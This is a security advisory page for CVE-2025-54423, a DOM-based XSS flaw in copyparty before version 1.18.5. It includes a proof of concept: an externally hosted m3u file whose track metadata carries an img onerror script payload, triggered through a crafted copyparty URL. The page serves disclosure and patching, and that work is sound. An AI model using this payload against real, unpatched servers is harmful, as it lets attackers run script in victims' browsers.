copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.
Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
<img src=x onerror=alert(document.domain)> - an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
-
Create a file named
song.m3uwith the following content. Host this file on an attacker-controlled web server.m3u#EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3 -
Craft and share the malicious URL:
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
Impact
Any user that accesses this malicious URL is impacted.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | copyparty | < 1.18.5 | 1.18.5 |
Referencias
- https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr
- https://nvd.nist.gov/vuln/detail/CVE-2025-54423
- https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6
- https://github.com/9001/copyparty
- https://github.com/9001/copyparty/releases/tag/v1.18.5
- https://pypi.org/project/copyparty
- https://github.com/advisories/GHSA-9q4r-x2hj-jmvr
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N- Debilidad (CWE)
CWE-79- Plataforma
- Python (PyPI)
- Paquete
copyparty- Publicada
- 28.07.2025
- Actualizado
- 11.10.2026 13:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-1277 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9q4r-x2hj-jmvr - CC BY 4.0
Historial de vulnerabilidades: copyparty
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 14
- Primera → última
- 07.2023 08.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 3
- Media 8
- Baja 3
Divulgaciones por año
- 2023: 3
- 2024: 0
- 2025: 6
- 2026: 5
-
copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.